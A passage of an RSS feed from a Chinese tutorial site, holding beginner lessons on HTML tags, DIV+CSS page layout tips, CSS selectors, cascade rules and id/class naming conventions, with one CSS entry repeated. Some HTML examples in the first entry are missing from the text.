　　你还记得上一节我们讲到的如何在标志符和之间创建链接吗？一个发送邮件链接与此是非常相似的，只是你需要把"?"替换为"mailto:"，然后在后面插入一个电子邮件地址，而不是什么网页URL链接地址。
　　例如，如果你想给下面这个地址15765546701qq.com发送电子邮件，那么你的网页HTML代码就应该按下面的格式编写：
　　给我发邮件!标志符内对网页背景颜色进行设置，该标志符在全页的顶端。例如，如果你在网页中输入下列编码： 
　　那么你的网页就会显示为黄色。
　　当然，并不是现在人们知道的所有关于颜色的名称都能够在电脑中存在一个对应的颜色


第二节：背景图片

　　设置背景图片 
　　这个标志符可以让你在网页的背景粘贴一幅图片，如果这幅图片较大，那么也许它只会在浏览器窗口中显示一次(根据浏览器窗口的实际大小)，而如果图片较小，那么浏览器窗口内就会显示如多幅该图片，以便填充整个窗口，这被称为"层叠"。下面是一个在Hits.org网站中图片层叠的范例，请注意背景中真正图片只有一朵小花，但实际观察的效果则是鲜花铺满了网页。不要光看到这个网页非常漂亮，如果把握不好，使用层叠效果时经常会把网页搞得很乱很难看。
　　如果你把下列代码写入HTML文档中：
　　
　　那么小猴的图片就会层叠重复显示，真到布满你浏览器的整个窗口。


第三节：字体颜色

　　设置字体颜色 
　　设置链接颜色
　　设置你已经访问过的链接的颜色
　　设置你正点击的链接的颜色
　　更改字体颜色
　　重新恢复原字体颜色(在标志符之前的文字颜色)
　　字体指的是在网页中可以使用的文字的样式，在计算机系统中，你可能曾经遇到过象"Helvetica"和"Times New Roman"这样的字体名称。
　　为了给网页中的文字染出颜色，就要将字体颜色的信息放在标志符内，例如当你输入下列代码后：
　　
　　你的网页因为颜色的问题会让人读起来很不舒服，但我不得不说这是一个五颜六色的网页，文字是绿色的，链接是红色的，而且当你点击链接时还会变为黑色，点击之后又会变为紫色。 
　　如果你只想把一段文字中的某个字改变颜色，则可以使用 标志符，例如你输入下列代码：
　　绿色多么让人羡慕呀!
　　那么显示出来的效果就是：
　　绿色多么让人羡慕呀! 
　　虽然并不是所有的颜色名称均有效，但大多数情况下是可以的.


第五节：标题大小

　　 使用大标题 
　　 结束大标题
　　 使用中标题
　　 结束中标题
　　 使用小标题
　　 结束小标题
　　你知道如何使网页的标题比其它文字更大些以便突出这段标题吗？使用标题标志符就可以帮助你实现这一点，你可以采用大标题、中标题或小标题，使用大标题可以用标志符开始，结束时用志符。
　　
　　号外!外星人来了，大家快逃吧!
　]]></description>
    </item>
        <item>
        <title><![CDATA[【邪影教程】DIY网站排版注意的五点 邪影]]></title>
		<link><![CDATA[https://xieying.wodemo.com/entry/373451]]></link>
		<dc:creator><![CDATA[邪影网安组-组长 (@xuelanggx)]]></dc:creator>
		<pubDate><![CDATA[Thu, 29 Oct 2015 08:09:48 +0800]]></pubDate>
        <description><![CDATA[[Title] DIV网页排版注意的五点 [EndTitle]
[Content]

DIV CSS排版是现在网站建设中网页排版常用的排版方式，但是在网页排版过程中是需要有好多注意的东西的，在学校里面，培训机构里面都有很多课程是前端切图这一方面的，简单来说就是学习div css网页排版。有很多人经过这一轮的学习之后就发现自己对排版这一方面非常的熟悉甚至说自己的div css的高手。其实真正说要懂得一个网页排版需要注意的一些问题是什么呢?是不是在电脑上面看到自己排版出来的页面就真的是一个成功的网页了吗?下面我说一下我自己在网页排版上面会注意的一些事情：
第一、DIV网页排版要注意使用样式的种类和名字的规范。
id和class应该如何使用
在我们使用div css排版的时候，每一个div我们都会给他一个样式，而样式有两种一种是id一种是class。有时候无论我们使用哪一种作为 标志都一样可以实现页面的css样式控制。但是为什么会出现id和class这两种呢?其实在一个网页里面我们可以做一个比喻：body我们可以认为是一 个学校，id我们可以认为是一个班级，class我们可以认为是一个人。那么在同一个学校里面，班级是不能重复的而我们每一个人的名字有可能是同名的。所 以在一个网页里面，一个id只能出现一次，一个class可以出现多次。而id的权限比class的权限要高，所以我们可以把一些不需要复制重复的div 使用id来表示把一些可以重复用到的样式使用class来表示。例如一个网页只有一个头部，中部，底部。所以这三个部分我们可以使用id。有一些博客中间 部分有分为左右，这一些板块在我们网页里面一般是不需要重复的，所以我们使用id来为他定义，而每一个板块里面的内容有时候是可以重复使用的，所以我们使 用class为他定义。有时候会有人问，如果我们全部单独使用一个也可以实现功能，为什么我们不单纯使用id和class呢?这个是因为如果全部使用id 的时候，我们网页的JS和PHP的函数调用都是使用到id的，如果我们在css样式就占用了那程序员会非常麻烦，如果全部使用class的时候可能会因为 权限不够而在同一个层里面的没有标志的元素例如ul，li，a等的会收到外面一层的样式影响到这样导致要要多写比较多的代码。
id和class应该如何起名
这个名字是可以随自己喜欢来起名，所以有一些人使用英文，拼音或者乱打几个字母。虽然说这样子是可以的，但是会导致自己和别人在后期的修改网站非常麻烦，就因找一个标签也要头晕了。 我个人起名字是按照层次来起，下面举个例子：
例如头部我使用了head这个名字，然后头部可以分为存放logo和存放导航条两部分。这两个部分我就会使用head_1、head_2来表示，然 后在存放logo的部分有可能分为左右一边是logo一边是广告或者搜索栏，我就会起名为：head_1_left、head_1_right来表示。这 样子的css代码有时候我们在修改也无需翻到html页面看，直接按照样式的名字就可以看出来了。
第二、DIV排版中要合理使用标签，有助于网站的收录和SEO优化
我们举一个例子，有时候一个新闻内容板块的html里面，很多人都会直接在div中间写上文字，然后给这一个div进行样式的控制。虽然这样子是完全可以实现功能，但是在搜索引擎眼中并不认为这个就是一个正文内容而是代码 之类的，所以我们在写这个的时候记住合理使用p标签，在我们合理使用标签的时候一方面可以让人感觉到你是用心来做这个网页的排版，更重要的是让这个网站后期 的优化事半功倍。
第三、DIV排版过程中代码要有层次
在我自己写代码的时候是非常注意这一方面的事情，因为一个页面做出来可以给客户看得舒服也能给自己看得舒服。我自己比较喜欢使用同级换行，下级 换行退格的方法。例如一个网页的头部可以分为上部分和导航条部分，然后上部分分为左右。我们可以和容易看出，上下部分这两个div是同级的，而左右的 div是下级的，至于规划这一方面就是css的代码放到css文件里面，js代码放到js代码里面，而不实用嵌入式和捆绑式的书写方法。
第四、DIV排版的时候要注意到后台的调用
我们在排版一个页面的时候，我们使用无数个样式一个一个规定每一个div或者li的样式都是可以的，效果看上去也是一样但是这样是成功的代码那?我 们知道做出来的页面并非这样就放上网站上面运行，而是把页面做成模版加入后台调用标签进行调用。例如一个文章列表(ul)里面的非常多个文章题目 (li)。我们知道每一个文章题目都是从后台调用出来的，所以这些li是需要循环使用，如果我们每一个li都有一个不同的class的话，相信这个循环调 用是让程序员非常头痛的事情。所以在我们做这个的时候尽量使用统一样式。如果导航条的每个项目有一条竖线隔开的情况，我们一般把这条竖线放到每个li的左 边，然后给第一个首页的li加一个样式把这条竖线去掉，因为这样就可以顺利让后面的栏目进行后台调用。而首页是每一个网站都需要的所以这个做成静态也没有 关系。
而我们网页上面的图片也有两种，一个是样式图片一个是数据图片。样式图片指的是不需要变动的如导航条背景(我们平时在浏览器上无法保存下来的)他是 存放在css里面的，数据图片是可以随时变动的，他是从后台调用出来的如商品缩略图(我们平时在浏览器上可以保存下来的)。在我们写代码的时候要明确分辨 这些图片属于哪一种，这样才能更加专业的把一个页面排版出来。而关于logo这个有些人喜欢放在css里面有些人喜欢放在html里面，这个就根据自己需 要了。
第五、DIV排版是要注意网页图片大小
我们做好一个网页有时有不同人做出来的大小都不一样，然而这个我们需要怎么解决呢?例如一个网页的导航条，如果是一个春色导航条，我们在排版上有3 种做法。
1、把设计图上整整一块导航条切图下来做背景。
2、切一个像素进行平铺。
3、直接使用颜色做背景。这三种做法效果都是一样，但最节省地方是第三 种。所以我们可以明白到做一个网页能把效果做出来并且做得最小的才是最好的。所以我们要注意：能用颜色的用颜色，不能用颜色的用平铺的用平铺，最后才考虑 用图片。
有时候一张图片并不是单纯一个地方用到而是多个地方用到，所以我们就要注意到，把这个图片应用到多个地方而不是每一个地方都要切一块图片。最后我们在切图的时候也要注意到一项，并不是一个图片大片切下来就可以，我们必须要精准切到最边，尽量把图片的大小缩小到最小。
]]></description>
    </item>
        <item>
        <title><![CDATA[【邪影教程】css制作【下】邪影]]></title>
		<link><![CDATA[https://xieying.wodemo.com/entry/373450]]></link>
		<dc:creator><![CDATA[邪影网安组-组长 (@xuelanggx)]]></dc:creator>
		<pubDate><![CDATA[Thu, 29 Oct 2015 08:06:05 +0800]]></pubDate>
        <description><![CDATA[[Title]css制作教程(下)[EndTitle]
[Content]
接上一节

3. 导入外部样式表 

导入外部样式表是指在内部样式表的&lt;style&gt;里导入一个外部样式表，导入时用@import，看下面这个实例： 

&lt;head&gt; 
…… 
&lt;style type=&quot;text/css&quot;&gt; 
&lt;!-- 
@import &quot;mystyle.css&quot; 
其他样式表的声明 
--&gt; 
&lt;/style&gt; 
…… 
&lt;/head&gt; 

例中@import &quot;mystyle.css&quot;表示导入mystyle.css样式表，注意使用时外部样式表的路径。方法和链入样式表的方法很相似，但导入外部样式表输入方式更有优势。实质上它相当于存在内部样式表中的。 
注意：导入外部样式表必须在样式表的开始部分，在其他内部样式表上面。 

4. 内嵌样式 

内嵌样式是混合在HTML标记里使用的，用这种方法，可以很简单的对某个元素单独定义样式。内嵌样式的使用是直接将在HTML标记里加入style参数。而style参数的内容就是CSS的属性和值，如下例： 

&lt;p style=&quot;color: sienna;margin-left: 20px;&quot;&gt; 
这是一个段落 
&lt;/p&gt; 
&lt;!--这个段落颜色为土黄，左边距为20象素--&gt; 

在style参数后面的引号里的内容相当于在样式表大括号里的内容。 
注意：style参数可以应用于任意BODY内的元素（包括BODY本身），除了BASEFONT、PARAM和SCRIPT。 

5. 多重样式表的叠加 

上一章里我们已经提到样式表的层叠顺序，这里我们讨论插入样式表的这几种方法的叠加，如果在同一个选择器上使用几个不同的样式表时，这个属性值将会叠加几个样式表，遇到冲突的地方会以最后定义的为准。例如，我们首先链入一个外部样式表，其中定义了h3选择符的color 、text-alig和font-size属性： 

h3 
{ 
color: red; 
text-align: left; 
font-size: 8pt; 
} 
/*标题3的文字颜色为红色；向左对齐；文字尺寸为8号字*/ 

然后在内部样式表里也定义了h3选择符的text-align和font-size属性： 

h3 
{ 
text-align: right; 
font-size: 20pt; 
} 
/*标题3文字向右对齐；尺寸为20号字*/ 

那么这个页面叠加后的样式就是： 

color: red; 
text-align: right; 
font-size: 20pt; 
/*文字颜色为红色；向右对齐；尺寸为20号字*/ 

字体颜色从外部样式表里保留下来，而对齐方式和字体尺寸都有定义时，按照后定义的优先而依照内部样式表。 

注意：依照后定义的优先，所以优先级最高的是[s]内嵌样式[/s]，[s]内部样式表[/s]高于[s]导入外部样式表[/s]，[s]链入的外部样式表[/s]和[s]内部样式表[/s]之间是最后定义的优先级高。 


&lt;link rel=&quot;stylesheet&quot; rev=&quot;stylesheet&quot; href=&quot;css/style.css&quot; type=&quot;text/css&quot; media=&quot;all&quot; /&gt; 
&lt;style type=&quot;text/css&quot; media=&quot;all&quot;&gt;@import url( css/style01.css );&lt;/style&gt; 

———————————————————————————————————————————— 

1. 基本语法 

CSS的定义是由三个部分构成：选择符（*or），属性（properties）和属性的取值（value）。 
基本格式如下： 

*or {property: value} 

（选择符 {属性：值}） 
选择符是可以是多种形式，一般是你要定义样式的HTML标记，例如BODY、P、TABLE……，你可以通过此方法定义它的属性和值，属性和值要用冒号隔开： 

body {color: black} 

选择符body是指页面主体部分，color是控制文字颜色的属性，black是颜色的值，此例的效果是使页面中的文字为黑色。 
如果属性的值是多个单词组成，必须在值上加引号，比如字体的名称经常是几个单词的组合： 

p {font-family: &quot;sans serif&quot;} 

（定义段落字体为sans serif） 

如果需要对一个选择符指定多个属性时，我们使用分号将所有的属性和值分开： 

p {text-align: center; color: red} 

（段落居中排列；并且段落中的文字为红色） 

为了使你定义的样式表方便阅读，你可以采用分行的书写格式： 

p 
{ 
text-align: center; 
color: black; 
font-family: arial 
} 

（段落排列居中，段落中文字为黑色，字体是arial） 

2. 选择符组 

你可以把相同属性和值的选择符组合起来书写，用逗号将选择符分开，这样可以减少样式重复定义： 

h1, h2, h3, h4, h5, h6 { color: green } 

（这个组里包括所有的标题元素，每个标题元素的文字都为绿色） 

p, table{ font-size: 9pt } 

（段落和表格里的文字尺寸为9号字） 

效果完全等效于： 

p { font-size: 9pt } 
table { font-size: 9pt } 

3. 类选择符 

用类选择符你能够把相同的元素分类定义不同的样式，定义类选择符时，在自定类的名称前面加一个点号。假如你想要两个不同的段落，一个段落向右对齐，一个段落居中，你可以先定义两个类： 

p.right {text-align: right} 
p.center {text-align: center} 

然后用不在不同的段落里，只要在HTML标记里加入你定义的class参数： 




&lt;p class=&quot;right&quot;&gt; 这个段落向右对齐的 
&lt;/p&gt; 

&lt;p class=&quot;center&quot;&gt; 
这个段落是居中排列的 
&lt;/p&gt; 


&lt;p class=&quot;right&quot;&gt; 这个段落向右对齐的 
&lt;/p&gt; 

&lt;p class=&quot;center&quot;&gt; 
这个段落是居中排列的 
&lt;/p&gt; 

注意：类的名称可以是任意英文单词或以英文开头与数字的组合，一般以其功能和效果简要命名。 

类选择符还有一种用法，在选择符中省略HTML标记名，这样可以把几个不同的元素定义成相同的样式： 

.center {text-align: center} 

（定义.center的类选择符为文字居中排列） 
这样的类可以被应用到任何元素上。下面我们使h1元素（标题1）和p元素（段落）都归为&quot;center&quot;类，这使两个元素的样式都跟随&quot;.center&quot;这个类选择符： 

&lt;h1 class=&quot;center&quot;&gt; 
这个标题是居中排列的 
&lt;/h1&gt; 
&lt;p class=&quot;center&quot;&gt; 
这个段落也是居中排列的 
&lt;/p&gt; 

注意：这种省略HTML标记的类选择符是我们经后最常用的CSS方法，使用这种方法，我们可以很方便的在任意元素上套用预先定义好的类样式。 

4. ID选择符 

在HTML页面中ID参数指定了某个单一元素，ID选择符是用来对这个单一元素定义单独的样式。 
ID选择符的应用和类选择符类似，只要把CLASS换成ID即可。将上例中类用ID替代： 

&lt;p id=&quot;intro&quot;&gt; 
这个段落向右对齐 
&lt;/p&gt; 

定义ID选择符要在ID名称前加上一个&quot;#&quot;号。和类选择符相同，定义ID选择符的属性也有两种方法。下面这个例子，ID属性将匹配所有id=&quot;intro&quot;的元素： 

#intro 
{ 
font-size:110%; 
font-weight:bold; 
color:#0000ff; 
background-color:transparent 
} 

（字体尺寸为默认尺寸的110%；粗体；蓝色；背景颜色透明） 
下面这个例子，ID属性只匹配id=&quot;intro&quot;的段落元素： 

p#intro 
{ 
font-size:110%; 
font-weight:bold; 
color:#0000ff; 
background-color:transparent 
} 

注意：ID选择符局限性很大，只能单独定义某个元素的样式，一般只在特殊情况下使用。 

5. 包含选择符 

可以单独对某种元素包含关系定义的样式表，元素1里包含元素2，这种方式只对在元素1里的元素2定义，对单独的元素1或元素2无定义，例如： 

table a 
{ 
font-size: 12px 
} 

在表格内的链接改变了样式，文字大小为12象素，而表格外的链接的文字仍为默认大小。 

6. 样式表的层叠性 

层叠性就是继承性，样式表的继承规则是外部的元素样式会保留下来继承给这个元素所包含的其他元素。事实上，所有在元素中嵌套的元素都会继承外层元素指定的属性值，有时会把很多层嵌套的样式叠加在一起，除非另外更改。例如在DIV标记中嵌套P标记： 
div { color: red; font-size:9pt} 
…… 
&lt;div&gt; 
&lt;p&gt; 
这个段落的文字为红色9号字 
&lt;/p&gt; 
&lt;/div&gt; 

（P元素里的内容会继承DIV定义的属性） 
注意：有些情况下内部选择符不继承周围选择符的值，但理论上这些都是特殊的。例如，上边界属性值是不会继承的，直觉上，一个段落不会同文档BODY一样的上边界值。 

另外，当样式表继承遇到冲突时，总是以最后定义的样式为准。如果上例中定义了P的颜色： 

div { color: red; font-size:9pt} 
p {color: blue} 
…… 
&lt;div&gt; 
&lt;p&gt; 
这个段落的文字为蓝色9号字 
&lt;/p&gt; 
&lt;/div&gt; 

我们可以看到段落里的文字大小为9号字是继承div属性的，而color属性则依照最后定义的。 

不同的选择符定义相同的元素时，要考虑到不同的选择符之间的优先级。ID选择符，类选择符和HTML标记选择符，因为ID选择符是最后加上元素上的，所以优先级最高，其次是类选择符。如果想超越这三者之间的关系，可以用!important提升样式表的优先权，例如： 

p { color: #FF0000!important } 
.blue { color: #0000FF} 
#id1 { color: #FFFF00} 

我们同时对页面中的一个段落加上这三种样式，它最后会依照被!important申明的HTML标记选择符样式为红色文字。如果去掉!important，则依照优先权最高的ID选择符为黄色文字。 

7. 注释 

你可以在CSS中插入注释来说明你代码的意思，注释有利于你或别人以后编辑和更改代码时理解代码的含义。在浏览器中，注释是不显示的。CSS注释以&quot;/*&quot; 开头，以&quot;*/&quot; 结尾，如下： 




/* 定义段落样式表 */ 
p 
{ 
text-align: center; /* 文本居中排列 */ 
color: black; /* 文字为黑色 */ 
font-family: arial /* 字体为arial */ 
} 


/* 定义段落样式表 */ 
p 
{ 
text-align: center; /* 文本居中排列 */ 
color: black; /* 文字为黑色 */ 
font-family: arial /* 字体为arial */ 
} 

样式表文件可以用任何文本编辑器（例如：记事本）打开并编辑，一般样式表文件扩展名为.css。内容是定义的样式表，不包含HTML标记，mystyle.css这个文件的内容如下： 

hr {color: sienna} 
p {margin-left: 20px} 
body {background-image: url(&quot;images/back40.gif&quot;)} 
/*定义水平线的颜色为土黄；段落左边的空白边距为20象素；页面的背景图片为images目录下的back40.gif文件*/ 


/* 定义段落样式表 */ 
p 
{ 
text-align: center; /* 文本居中排列 */ 
color: black; /* 文字为黑色 */ 
font-family: arial /* 字体为arial */ 
} 


&lt;p class=&quot;right&quot;&gt; 这个段落向右对齐的 
&lt;/p&gt; 

&lt;p class=&quot;center&quot;&gt; 
这个段落是居中排列的 
&lt;/p&gt;













头：header 
　　内容：content/containe 
　　尾：footer 
　　导航：nav 
　　侧栏：sidebar 
　　栏目：column 
　　页面外围控制整体布局宽度：wrapper 
　　左右中：left right center 
　　登录条：loginbar 
　　标志：logo 
　　广告：banner 
　　页面主体：main 
　　热点：hot 
　　新闻：news 
　　下载：download 
　　子导航：subnav 
　　菜单：menu 
　　子菜单：submenu 
　　搜索：search 
　　友情链接：friendlink 
　　页脚：footer 
　　版权：copyright 
　　滚动：scroll 
　　内容：content 
　　标签页：tab 
　　文章列表：list 
　　提示信息：msg 
　　小技巧：tips 
　　栏目标题：title 
　　加入：joinus 
　　指南：guild 
　　服务：service 
　　注册：regsiter 
　　状态：status 
　　投票：vote 
　　合作伙伴：partner 


XHTML文件中id的命名 
(1)页面结构 
　　容器: container 
　　页头：header 
　　内容：content/container 
　　页面主体：main 
　　页尾：footer 
　　导航：nav 
　　侧栏：sidebar 
　　栏目：column 
　　页面外围控制整体布局宽度：wrapper 
　　左右中：left right center 
(2)导航 
　　导航：nav 
　　主导航：mainbav 
　　子导航：subnav 
　　顶导航：topnav 
　　边导航：sidebar 
　　左导航：leftsidebar 
　　右导航：rightsidebar 
　　菜单：menu 
　　子菜单：submenu 
　　标题: title 
　　摘要: summary 
(3)功能 
　　标志：logo 
　　广告：banner 
　　登陆：login 
　　登录条：loginbar 
　　注册：regsiter 
　　搜索：search 
　　功能区：shop 
　　标题：title 
　　加入：joinus 
　　状态：status 
　　按钮：btn 
　　滚动：scroll 
　　标签页：tab 
　　文章列表：list 
　　提示信息：msg 
　　当前的: current 
　　小技巧：tips 
　　图标: icon 
　　注释：note 
　　指南：guild 
　　服务：service 
　　热点：hot 
　　新闻：news 
　　下载：download 
　　投票：vote 
　　合作伙伴：partner 
　　友情链接：link 
　　版权：copyright 
--------------------------------------------------------------------------------------------------------------- 
1.CSS ID 的命名 
外　套：　　wrap 
主导航：　　mainnav 
子导航：　　subnav 
页　脚：　　footet 
整个页面：　content 
页　眉：　　header 
页　脚：　　footer 
商　标：　　label 
标　题：　　title 
主导航：　　nav（mainnav/globalnav） 
顶导航：　　topnav 
边导航：　　sidebar 
左导航：　　leftsidebar 
右导航：　　rightsidebar 
当前位置：　loc 
旗　志：　　logo 
标　语：　　banner 
菜单内容1： menu1 content 
菜单容量：　menu container 
子菜单：　　submenu 
边导航图标：sidebarIcon 
注释：　　　note 
面包屑：　　breadcrumb(即页面所处位置导航提示） 
容器：　　　container 
内容：　　　content 
搜索：　　　search 
登陆：　　　Login 
功能区：　　shop(如购物车，收银台) 
当前的　　　current 
网站公用相关 
Container div #container 容器 
Header or banner div #header 页头部分 

Main or global navigation div #main-nav 主导航 
Menu #menu 菜单 
Sub Menu #submenu 子菜单 
Left or right side columns #sidebar-a, #sidebar-b 左边栏或右边栏 
Main div #main 页面主体 
Content div #content 内容部分 
The main content area #content-main 主要内容区域 
Footer div #footer 页脚部分 
Tag #tag 标签 
Message #msg #message 提示信息 
Tips #tips 小技巧 
Vote #vote 投票 
Friend Link #friendlink 友情连接 
Title #title 标题 
Summary #summary 摘要 
Sub-navigation list #sub-nav 二级导航 
Search input #search-input 搜索输入框 
Search output #search-output 搜索输出和搜索结果相似 
Search #search 搜索 
Search results #search-results 搜索结果 
Copyright information #copyright 版权信息 
brand #branding 商标 
branding-logo #branding-logo LOGO 
Site information #siteinfo 网站信息 
Copyright information etc. #siteinfo-legal 法律声明 
Designer or other credits #siteinfo-credits 信誉 
Join us #joinus 加入我们 
Partnership opportunities #partner 合作伙伴 
Services #service 服务 
Regsiter #regsiter 注册 
Status #status 状态 
电子贸易相关 
Products .products 产品 
Products prices .products-prices 产品价格 
Products description .products-description 产品描述 
Products review .products-review 产品评论 
Editor‘s review .editor-review 编辑评论 
New release .news-release 最新产品 
Publisher .publisher 生产商 
Screen shot .screenshot 缩略图 
FAQ .faqs 常见问题 
Keyword .keyword 关键词 
Blog .blog 博客 
Forum .forum 论坛 
2.另外在编辑样式表时可用的注释可这样写： 
&lt;-- Footer --&gt; 
内容区 
&lt;-- End Footer --&gt; 
3.样式文件命名 
主要的 *.css 
布局，版面 layout.css 
专栏 columns.css 
文字 font.css 
打印样式 print.css 
主题 themes.css

.[EndContent]
]]></description>
    </item>
        <item>
        <title><![CDATA[【邪影教程】css制作【下】邪影]]></title>
		<link><![CDATA[https://xieying.wodemo.com/entry/373449]]></link>
		<dc:creator><![CDATA[邪影网安组-组长 (@xuelanggx)]]></dc:creator>
		<pubDate><![CDATA[Thu, 29 Oct 2015 08:06:00 +0800]]></pubDate>
        <description><![CDATA[[Title]css制作教程(下)[EndTitle]
[Content]
接上一节

3. 导入外部样式表 

导入外部样式表是指在内部样式表的&lt;style&gt;里导入一个外部样式表，导入时用@import，看下面这个实例： 

&lt;head&gt; 
…… 
&lt;style type=&quot;text/css&quot;&gt; 
&lt;!-- 
@import &quot;mystyle.css&quot; 
其他样式表的声明 
--&gt; 
&lt;/style&gt; 
…… 
&lt;/head&gt; 

例中@import &quot;mystyle.css&quot;表示导入mystyle.css样式表，注意使用时外部样式表的路径。方法和链入样式表的方法很相似，但导入外部样式表输入方式更有优势。实质上它相当于存在内部样式表中的。 
注意：导入外部样式表必须在样式表的开始部分，在其他内部样式表上面。 

4. 内嵌样式 

内嵌样式是混合在HTML标记里使用的，用这种方法，可以很简单的对某个元素单独定义样式。内嵌样式的使用是直接将在HTML标记里加入style参数。而style参数的内容就是CSS的属性和值，如下例： 

&lt;p style=&quot;color: sienna;margin-left: 20px;&quot;&gt; 
这是一个段落 
&lt;/p&gt; 
&lt;!--这个段落颜色为土黄，左边距为20象素--&gt; 

在style参数后面的引号里的内容相当于在样式表大括号里的内容。 
注意：style参数可以应用于任意BODY内的元素（包括BODY本身），除了BASEFONT、PARAM和SCRIPT。 

5. 多重样式表的叠加 

上一章里我们已经提到样式表的层叠顺序，这里我们讨论插入样式表的这几种方法的叠加，如果在同一个选择器上使用几个不同的样式表时，这个属性值将会叠加几个样式表，遇到冲突的地方会以最后定义的为准。例如，我们首先链入一个外部样式表，其中定义了h3选择符的color 、text-alig和font-size属性： 

h3 
{ 
color: red; 
text-align: left; 
font-size: 8pt; 
} 
/*标题3的文字颜色为红色；向左对齐；文字尺寸为8号字*/ 

然后在内部样式表里也定义了h3选择符的text-align和font-size属性： 

h3 
{ 
text-align: right; 
font-size: 20pt; 
} 
/*标题3文字向右对齐；尺寸为20号字*/ 

那么这个页面叠加后的样式就是： 

color: red; 
text-align: right; 
font-size: 20pt; 
/*文字颜色为红色；向右对齐；尺寸为20号字*/ 

字体颜色从外部样式表里保留下来，而对齐方式和字体尺寸都有定义时，按照后定义的优先而依照内部样式表。 

注意：依照后定义的优先，所以优先级最高的是[s]内嵌样式[/s]，[s]内部样式表[/s]高于[s]导入外部样式表[/s]，[s]链入的外部样式表[/s]和[s]内部样式表[/s]之间是最后定义的优先级高。 


&lt;link rel=&quot;stylesheet&quot; rev=&quot;stylesheet&quot; href=&quot;css/style.css&quot; type=&quot;text/css&quot; media=&quot;all&quot; /&gt; 
&lt;style type=&quot;text/css&quot; media=&quot;all&quot;&gt;@import url( css/style01.css );&lt;/style&gt; 

———————————————————————————————————————————— 

1. 基本语法 

CSS的定义是由三个部分构成：选择符（*or），属性（properties）和属性的取值（value）。 
基本格式如下： 

*or {property: value} 

（选择符 {属性：值}） 
选择符是可以是多种形式，一般是你要定义样式的HTML标记，例如BODY、P、TABLE……，你可以通过此方法定义它的属性和值，属性和值要用冒号隔开： 

body {color: black} 

选择符body是指页面主体部分，color是控制文字颜色的属性，black是颜色的值，此例的效果是使页面中的文字为黑色。 
如果属性的值是多个单词组成，必须在值上加引号，比如字体的名称经常是几个单词的组合： 

p {font-family: &quot;sans serif&quot;} 

（定义段落字体为sans serif） 

如果需要对一个选择符指定多个属性时，我们使用分号将所有的属性和值分开： 

p {text-align: center; color: red} 

（段落居中排列；并且段落中的文字为红色） 

为了使你定义的样式表方便阅读，你可以采用分行的书写格式： 

p 
{ 
text-align: center; 
color: black; 
font-family: arial 
} 

（段落排列居中，段落中文字为黑色，字体是arial） 

2. 选择符组 

你可以把相同属性和值的选择符组合起来书写，用逗号将选择符分开，这样可以减少样式重复定义： 

h1, h2, h3, h4, h5, h6 { color: green } 

（这个组里包括所有的标题元素，每个标题元素的文字都为绿色） 

p, table{ font-size: 9pt } 

（段落和表格里的文字尺寸为9号字） 

效果完全等效于： 

p { font-size: 9pt } 
table { font-size: 9pt } 

3. 类选择符 

用类选择符你能够把相同的元素分类定义不同的样式，定义类选择符时，在自定类的名称前面加一个点号。假如你想要两个不同的段落，一个段落向右对齐，一个段落居中，你可以先定义两个类： 

p.right {text-align: right} 
p.center {text-align: center} 

然后用不在不同的段落里，只要在HTML标记里加入你定义的class参数： 




&lt;p class=&quot;right&quot;&gt; 这个段落向右对齐的 
&lt;/p&gt; 

&lt;p class=&quot;center&quot;&gt; 
这个段落是居中排列的 
&lt;/p&gt; 


&lt;p class=&quot;right&quot;&gt; 这个段落向右对齐的 
&lt;/p&gt; 

&lt;p class=&quot;center&quot;&gt; 
这个段落是居中排列的 
&lt;/p&gt; 

注意：类的名称可以是任意英文单词或以英文开头与数字的组合，一般以其功能和效果简要命名。 

类选择符还有一种用法，在选择符中省略HTML标记名，这样可以把几个不同的元素定义成相同的样式： 

.center {text-align: center} 

（定义.center的类选择符为文字居中排列） 
这样的类可以被应用到任何元素上。下面我们使h1元素（标题1）和p元素（段落）都归为&quot;center&quot;类，这使两个元素的样式都跟随&quot;.center&quot;这个类选择符： 

&lt;h1 class=&quot;center&quot;&gt; 
这个标题是居中排列的 
&lt;/h1&gt; 
&lt;p class=&quot;center&quot;&gt; 
这个段落也是居中排列的 
&lt;/p&gt; 

注意：这种省略HTML标记的类选择符是我们经后最常用的CSS方法，使用这种方法，我们可以很方便的在任意元素上套用预先定义好的类样式。 

4. ID选择符 

在HTML页面中ID参数指定了某个单一元素，ID选择符是用来对这个单一元素定义单独的样式。 
ID选择符的应用和类选择符类似，只要把CLASS换成ID即可。将上例中类用ID替代： 

&lt;p id=&quot;intro&quot;&gt; 
这个段落向右对齐 
&lt;/p&gt; 

定义ID选择符要在ID名称前加上一个&quot;#&quot;号。和类选择符相同，定义ID选择符的属性也有两种方法。下面这个例子，ID属性将匹配所有id=&quot;intro&quot;的元素： 

#intro 
{ 
font-size:110%; 
font-weight:bold; 
color:#0000ff; 
background-color:transparent 
} 

（字体尺寸为默认尺寸的110%；粗体；蓝色；背景颜色透明） 
下面这个例子，ID属性只匹配id=&quot;intro&quot;的段落元素： 

p#intro 
{ 
font-size:110%; 
font-weight:bold; 
color:#0000ff; 
background-color:transparent 
} 

注意：ID选择符局限性很大，只能单独定义某个元素的样式，一般只在特殊情况下使用。 

5. 包含选择符 

可以单独对某种元素包含关系定义的样式表，元素1里包含元素2，这种方式只对在元素1里的元素2定义，对单独的元素1或元素2无定义，例如： 

table a 
{ 
font-size: 12px 
} 

在表格内的链接改变了样式，文字大小为12象素，而表格外的链接的文字仍为默认大小。 

6. 样式表的层叠性 

层叠性就是继承性，样式表的继承规则是外部的元素样式会保留下来继承给这个元素所包含的其他元素。事实上，所有在元素中嵌套的元素都会继承外层元素指定的属性值，有时会把很多层嵌套的样式叠加在一起，除非另外更改。例如在DIV标记中嵌套P标记： 
div { color: red; font-size:9pt} 
…… 
&lt;div&gt; 
&lt;p&gt; 
这个段落的文字为红色9号字 
&lt;/p&gt; 
&lt;/div&gt; 

（P元素里的内容会继承DIV定义的属性） 
注意：有些情况下内部选择符不继承周围选择符的值，但理论上这些都是特殊的。例如，上边界属性值是不会继承的，直觉上，一个段落不会同文档BODY一样的上边界值。 

另外，当样式表继承遇到冲突时，总是以最后定义的样式为准。如果上例中定义了P的颜色： 

div { color: red; font-size:9pt} 
p {color: blue} 
…… 
&lt;div&gt; 
&lt;p&gt; 
这个段落的文字为蓝色9号字 
&lt;/p&gt; 
&lt;/div&gt; 

我们可以看到段落里的文字大小为9号字是继承div属性的，而color属性则依照最后定义的。 

不同的选择符定义相同的元素时，要考虑到不同的选择符之间的优先级。ID选择符，类选择符和HTML标记选择符，因为ID选择符是最后加上元素上的，所以优先级最高，其次是类选择符。如果想超越这三者之间的关系，可以用!important提升样式表的优先权，例如： 

